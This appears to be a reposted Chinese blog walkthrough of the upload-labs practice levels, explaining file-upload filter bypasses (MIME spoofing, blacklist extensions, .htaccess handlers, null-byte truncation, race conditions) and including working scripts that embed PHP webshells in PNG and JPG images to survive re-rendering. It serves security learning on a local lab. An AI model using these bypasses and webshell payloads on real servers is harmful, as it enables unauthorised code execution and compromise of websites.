文件上傳漏洞及繞過


文件上傳的目的:上傳代碼文件讓服務器執行(個人理解)。

文件上傳的繞過腦圖

圖片

一.js本地驗證繞過

原理:本地的js,F12查看源代碼發現是本地的驗證

圖片

繞過姿勢
1.因為屬於本地的代碼可以嘗試修改,然后選擇php文件發現上傳成功。

圖片

2.采用burpsuite,先將文件的名稱修改為jpg或png或gif,然后上傳,burpsuite攔截將文件類型修改如圖,發現能夠上傳成功

圖片

二.MIME驗證繞過(Content-Type)

原理:Content-Type(MediaType),即是Internet Media Type,互聯網媒體類型,也叫做MIME類型。在互聯網中有成百上千中不同的數據類型,HTTP在傳輸數據對象時會為他們打上稱為MIME的數據格式標簽,用於區分數據類型。最初MIME是用於電子郵件系統的,后來HTTP也采用了這一方案。在HTTP協議消息頭中,使用Content-Type來表示請求和響應中的媒體類型信息。它用來告訴服務端如何處理請求的數據,以及告訴客戶端(一般是瀏覽器)如何解析響應的數據,比如顯示圖片,解析並展示html等等。
使用burpsuite攔截分別為jpg和php類型觀察Content-Type發現Content-Type不同.

圖片

圖片

拓展:

圖片

破解方法:
在burpsuite中更改Content-Type進行繞過即可

圖片

三.黑名單繞過

原理:查看網站源代碼發現過濾了asp,aspx,php,jsp,但其他的文件后綴可以上傳,如phtml,phps,php5,pht

圖片

繞過姿勢:將文件后綴名改為php5,phtml等,發現能夠上傳成功,此次沒用過濾htaccess文件可以嘗試上傳。

拓展:此破解方案需要Apache的httpd.conf有如下配置
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
關於AddType指令
作用:在給定的文件拓展名與特定的內容類型之間建立映射(簡單來說就是讓phtml,phps,php5,pht等文件后綴的安裝php代碼來執行,個人理解)

語法:AddType MIME-type extension [extension] ...
AddType指令在給定的文件擴展名與特定的內容類型之間建立映射關系。MIME-type指明了包含extension擴展名的文件的媒體類型。
AddType 是與類型表相關的,描述的是擴展名與文件類型之間的關系。

四..htaccess繞過

原理:.htaccess文件(或者"分布式配置文件")提供了針對每個目錄改變配置的方法,即在一個特定的目錄中放置一個包含指令的文件,其中的指令作用與此目錄及其所有的子目錄。
簡單來說:就是htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置
他的功能:網頁301重定向,自定義404錯誤頁面,改變文件拓展名(此處所用),允許/阻止特定的用戶或者目錄的訪問,禁止目錄列表,配置默認文檔等功能iis平台上不存在該文件,改文件默認開啟,啟用和關閉在httpd.conf文件中配置。
破解:構造.htaccess文件,文件內容,如圖

<FilesMatch "2.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

圖片

然后上傳.htaccess文件和2.jpg的木馬發現2.jpg被安裝php代碼執行然后用蟻劍連接,發現可以連接成功,如圖

圖片

個人理解:通過對.htaccess的禁止目錄列表理解運用給自己加了一個保護自己,防止開啟phpstudy,其他人訪問。

圖片

五.大小寫繞過

原理:查看網站源代碼發現沒有過濾大小寫,而windows對大小寫不敏感,linux對大小寫敏感

圖片

破解:修改文件拓展名稱為大寫,或者用burpsuiet抓包改為大寫,發現上傳成功,木馬可以連接成功

圖片

六.空格繞過

原理:windows等系統下,文件后綴加空格命名之后是默認自動刪除空格。查看網站源代碼發現過濾了大小寫,沒用過濾空格。

圖片

繞過姿勢:上傳php文件用burpsuite抓包,添加一個空發現上傳成功。用蟻劍連接發現可以連接成功。如下圖

圖片

圖片

七.點的繞過

原理:同空格繞過原理一樣,主要原因是windows等系統默認刪除文件后綴的.和空格,查看網站源碼發現,沒有過濾點。

圖片

繞過姿勢:上傳php代碼,burpsuite抓包加一個點,發現上傳成功,用蟻劍連接發現連接成功。

圖片

圖片

八.::$DATA繞過(此繞過只適用windows)

原理:php在windows的適合,如果文件名+"::$DATA"會把::$DATA之后的數據當成文件流處理,不會檢測后綴名,且保持"::$DATA"之前的文件名,目的就是不檢查后最名。查看網站源代碼。發現沒有過濾::$DATA。

圖片

破解:上傳php文件,用burpsuite抓吧文件后綴改為php::$DATA,發現上傳成功,用蟻劍鏈接,發現連接成功,同時打開上傳文件發現后綴沒有::$DATA

圖片

圖片

圖片

九.點空格繞過

原理:查看源碼發現,都過濾但是,點和空格只是過濾了1次,所以我們可以嘗試構造.php. .這樣就只是過濾了文件末尾的點
而沒有過濾第一個點,文件后綴變成了.php.實現了文件的上傳。

圖片

繞過姿勢:上傳php文件,burpsuite抓包改文件后綴名稱為.php. .上傳,發現上傳成功,用蟻劍連接發現上傳成功。

圖片

圖片

十.雙寫繞過

原理:查看源碼發現,沒有過濾點,空格,大寫等,估計這種不是放在windows下的,這里可以用點大寫空格:$DATA等繞過,不過這里的目的不是這個,是讓學習雙寫繞過,看源碼發現str_ireplace這個函數將php,php5,php4等后綴變成空格,且只執行了一次,所以可以嘗試構造文件后綴為pphphp繞過。

圖片

繞過姿勢:上傳文件后綴為pphphp的文件,發現上傳成功,然后蟻劍連接就可以了,發現可以連接成功。

圖片

十一.%00截斷

原理:查看源碼發現使用了白名單,只允許jpg,png,gif文件的上傳,所以前面使用的方法都不適用,然后我們發現路徑img_path函數是讓文件位置(save_path)加時間隨機數(rand)的方法生成文件位置和文件名稱,所以這里我們可以嘗試在save_path的地方使用%00的方法截斷后面的語句,burpsuite抓包發現,是可以更改save_path的,不過此方法有使用的限制。

使用限制:

1、php版本小於5.3.4

2、php.ini的magic_quotes_gpc為OFF狀態

圖片

(magic_quotes_gpc)函數的的底層實現是類似c語言,所以可以%00截斷

圖片

繞過姿勢:

(get傳輸):上傳php文件,burpsuite抓包,修改save_path如圖所示,發現上傳成功,使用蟻劍連接發現連接成功。

圖片

圖片

(post傳輸):post傳輸和get傳輸差不多,不過需要轉一下碼如圖,然后發送發現上傳成功。

圖片

圖片

十二.圖片木馬

查看源碼:采用白名單限制上傳的只能是圖片,故考慮圖片木馬。

圖片

圖片木馬的制作:

1. windows下cmd命名 Copy 1.jpg/b+shell.php/a shell.jpg

2.右鍵圖片選擇屬性,詳細信息,版權處加入木馬,如圖

3.16進制文本編譯器

圖片

上傳圖片木馬:上傳成功后采用文件包含即可

圖片

十三.圖馬 getimagesize()

查看源碼:

圖片

getimagesize()函數:

     用於取得圖像大小,如果指定的圖像或其不是有效的圖像,getimagesize()將返回false並產生一條E_WARNING級的錯誤

Image_type_to_extension()

     用於取得圖像類型的文件后綴

繞過方法: 上傳圖馬木馬即可

十四.圖馬 exif_imagetype()

查看源碼:

圖片

exif_imagetype()函數:

用於判斷一個圖像的類型,正常則返回簽名對應常量,否則返回false

繞過方法:上傳圖片木馬即可

十五.圖馬 二次渲染

查看源碼 對gif的過濾部分:發現gif圖片被二次渲染

圖片

嘗試上傳gif(帶有木馬),並將上傳

圖片

圖片

gif繞過:找到渲染前后沒有變化的位置,然后將php木馬寫入即可,下載上傳后的gif,發現木馬上傳成功

圖片

圖片

查看源碼:對png的過濾部分 發現被二次渲染

圖片

嘗試上傳帶有一句話木馬的png圖片,上傳下載發現木馬被渲染掉

圖片

圖片

繞過方法:

1.寫入php代碼到PLTE模塊

PLTE模塊:調色板PLTE數據塊是輔助數據快,對於索引圖像,調試板信息是必須的,調色板的顏色索引從0開始編號,然后是1、2……,調色板的顏色數不能超過色深中規定的顏色數(如圖像色深為4的時候,調色板中的顏色數不可以超過2^4=16),否則,這將導致PNG圖像不合法。

PLTE模塊是輔助模塊並不是每個png圖片都有的,多找幾個png圖片

圖片

然后計算PLTE數據塊的CRC

import binascii
import re
png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)
''' PLTE crc '''
data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

運行結果寫入CRC模塊

圖片

然后上傳即可;注:CRC(cyclic redundancy check)域中的值是對Chunk Type Code域和Chunk Data域中的數據進行計算得到的。儲存用來檢測是否有錯誤的循環冗余碼。參考https://xz.aliyun.com/t/2657

2.寫入IDAT數據塊

國外大佬腳本直接用

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

運行腳本生成1.png,發現木馬被寫入

圖片

上傳利用:文件包含

圖片

圖片原理:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

木馬原理:assert()會檢查內部是否是字符串,如果是字符串,它將會被assert()當做php代碼執行

查看源碼 對jpg的過濾部分 發現對jpg圖片進行二次渲染

圖片

繞過姿勢:先隨便上傳一個1.jpg圖片到服務器,將上傳后的圖片下載,用國外大佬腳本處理一下(並不是所有圖片都能被腳本處理插入木馬多試幾個)

處理cmd命令:php 腳本名.php 1.jpg(需要安裝php環境)

腳本被我改一下,發現大佬腳本不能用

<?php

    /*



    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().

    It is necessary that the size and quality of the initial image are the same as those of the processed image.



    1) Upload an arbitrary image via secured files upload script

    2) Save the processed image and launch:

    jpg_payload.php <jpg_name.jpg>



    In case of successful injection you will get a specially crafted image, which should be uploaded again.



    Since the most straightforward injection method is used, the following problems can occur:

    1) After the second processing the injected data may become partially corrupted.

    2) The jpg_payload.php script outputs "Something's wrong".

    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.



    Sergey Bobrov @Black2Fan.



    See also:

    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/



    */



    $miniPayload = "<?php phpinfo();?>";





    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {

        die('php-gd is not installed');

    }



    if(!isset($argv[1])) {

        die('php jpg_payload.php <jpg_name.jpg>');

    }



    set_error_handler("custom_error_handler");



    for($pad = 0; $pad < 1024; $pad++) {

        $nullbytePayloadSize = $pad;

        $dis = new DataInputStream($argv[1]);

        $outStream = file_get_contents($argv[1]);

        $extraBytes = 0;

        $correctImage = TRUE;



        if($dis->readShort() != 0xFFD8) {

            die('Incorrect SOI marker');

        }



        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {

            $marker = $dis->readByte();

            $size = $dis->readShort() - 2;

            $dis->skip($size);

            if($marker === 0xDA) {

                $startPos = $dis->seek();

                $outStreamTmp = 

                    substr($outStream, 0, $startPos) . 

                    $miniPayload . 

                    str_repeat("\0",$nullbytePayloadSize) . 

                    substr($outStream, $startPos);

                checkImage('_'.$argv[1], $outStreamTmp, TRUE);

                if($extraBytes !== 0) {

                    while((!$dis->eof())) {

                        if($dis->readByte() === 0xFF) {

                            if($dis->readByte !== 0x00) {

                                break;

                            }

                        }

                    }

                    $stopPos = $dis->seek() - 2;

                    $imageStreamSize = $stopPos - $startPos;

                    $outStream = 

                        substr($outStream, 0, $startPos) . 

                        $miniPayload . 

                        substr(

                            str_repeat("\0",$nullbytePayloadSize).

                                substr($outStream, $startPos, $imageStreamSize),

                            0,

                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 

                                substr($outStream, $stopPos);

                } elseif($correctImage) {

                    $outStream = $outStreamTmp;

                } else {

                    break;

                }

                if(checkImage('payload_'.$argv[1], $outStream)) {

                    die('Success!');

                } else {

                    break;

                }

            }

        }

    }

    unlink('payload_'.$argv[1]);

    die('Something\'s wrong');



    function checkImage($filename, $data, $unlink = FALSE) {

        global $correctImage;

        file_put_contents($filename, $data);

        $correctImage = TRUE;

        imagecreatefromjpeg($filename);

        if($unlink)

            unlink($filename);

        return $correctImage;

    }



    function custom_error_handler($errno, $errstr, $errfile, $errline) {

        global $extraBytes, $correctImage;

        $correctImage = FALSE;

        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {

            if(isset($m[1])) {

                $extraBytes = (int)$m[1];

            }

        }

    }



    class DataInputStream {

        private $binData;

        private $order;

        private $size;



        public function __construct($filename, $order = false, $fromString = false) {

            $this->binData = '';

            $this->order = $order;

            if(!$fromString) {

                if(!file_exists($filename) || !is_file($filename))

                    die('File not exists ['.$filename.']');

                $this->binData = file_get_contents($filename);

            } else {

                $this->binData = $filename;

            }

            $this->size = strlen($this->binData);

        }



        public function seek() {

            return ($this->size - strlen($this->binData));

        }



        public function skip($skip) {

            $this->binData = substr($this->binData, $skip);

        }



        public function readByte() {

            if($this->eof()) {

                die('End Of File');

            }

            $byte = substr($this->binData, 0, 1);

            $this->binData = substr($this->binData, 1);

            return ord($byte);

        }



        public function readShort() {

            if(strlen($this->binData) < 2) {

                die('End Of File');

            }

            $short = substr($this->binData, 0, 2);

            $this->binData = substr($this->binData, 2);

            if($this->order) {

                $short = (ord($short[1]) << 8) + ord($short[0]);

            } else {

                $short = (ord($short[0]) << 8) + ord($short[1]);

            }

            return $short;

        }



        public function eof() {

            return !$this->binData||(strlen($this->binData) === 0);

        }

    }

?>

圖片

圖片

圖片

十六.條件競爭

查看源碼:發現上傳的文件先被存儲在服務器,然后進行判斷,如果不是jpg png gif 則unlik()刪掉,是的話重命名

圖片

繞過姿勢:在判斷刪除前,進行訪問,競爭時間
shell.php 如下,當然也可寫其他木馬或者生成木馬的php文件,上傳用burpsuite抓包,當然可以寫腳本

圖片

圖片

圖片

繞后構造訪問連接:http://127.0.0.1/upload-labs-master/upload/shell.php 用burpsuite抓包發送和上傳一起開始 如何不行可以嘗試線程調大點,或者寫腳本

圖片

類似的也是先保存再重命名同樣可以競爭 源碼

圖片

十七../繞過

查看源碼:

圖片

繞過姿勢:
Pathinfo()會返回一個關聯數組含有path的信息。例如:

圖片

save_name=1.php/.這樣file_ext值為空繞過黑名單,而move_uploaded_file函數忽略文件后的./就可以實現保存文件為shell.php

圖片

注:網上看有用 save_name=1.php%00繞過的,雖然能上傳成功但是保存的文件名是1.php%00你是沒法利用的,看看原因好像是move_uploaded_file函數把save_name當做字符串來用的(目前感覺這個方法不行,可能操作有誤)

十八.數組+./繞過

查看源碼:分析如圖

圖片

繞過姿勢:

圖片

圖片

最后歡迎訪問我的個人博客:https://lnng.top/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM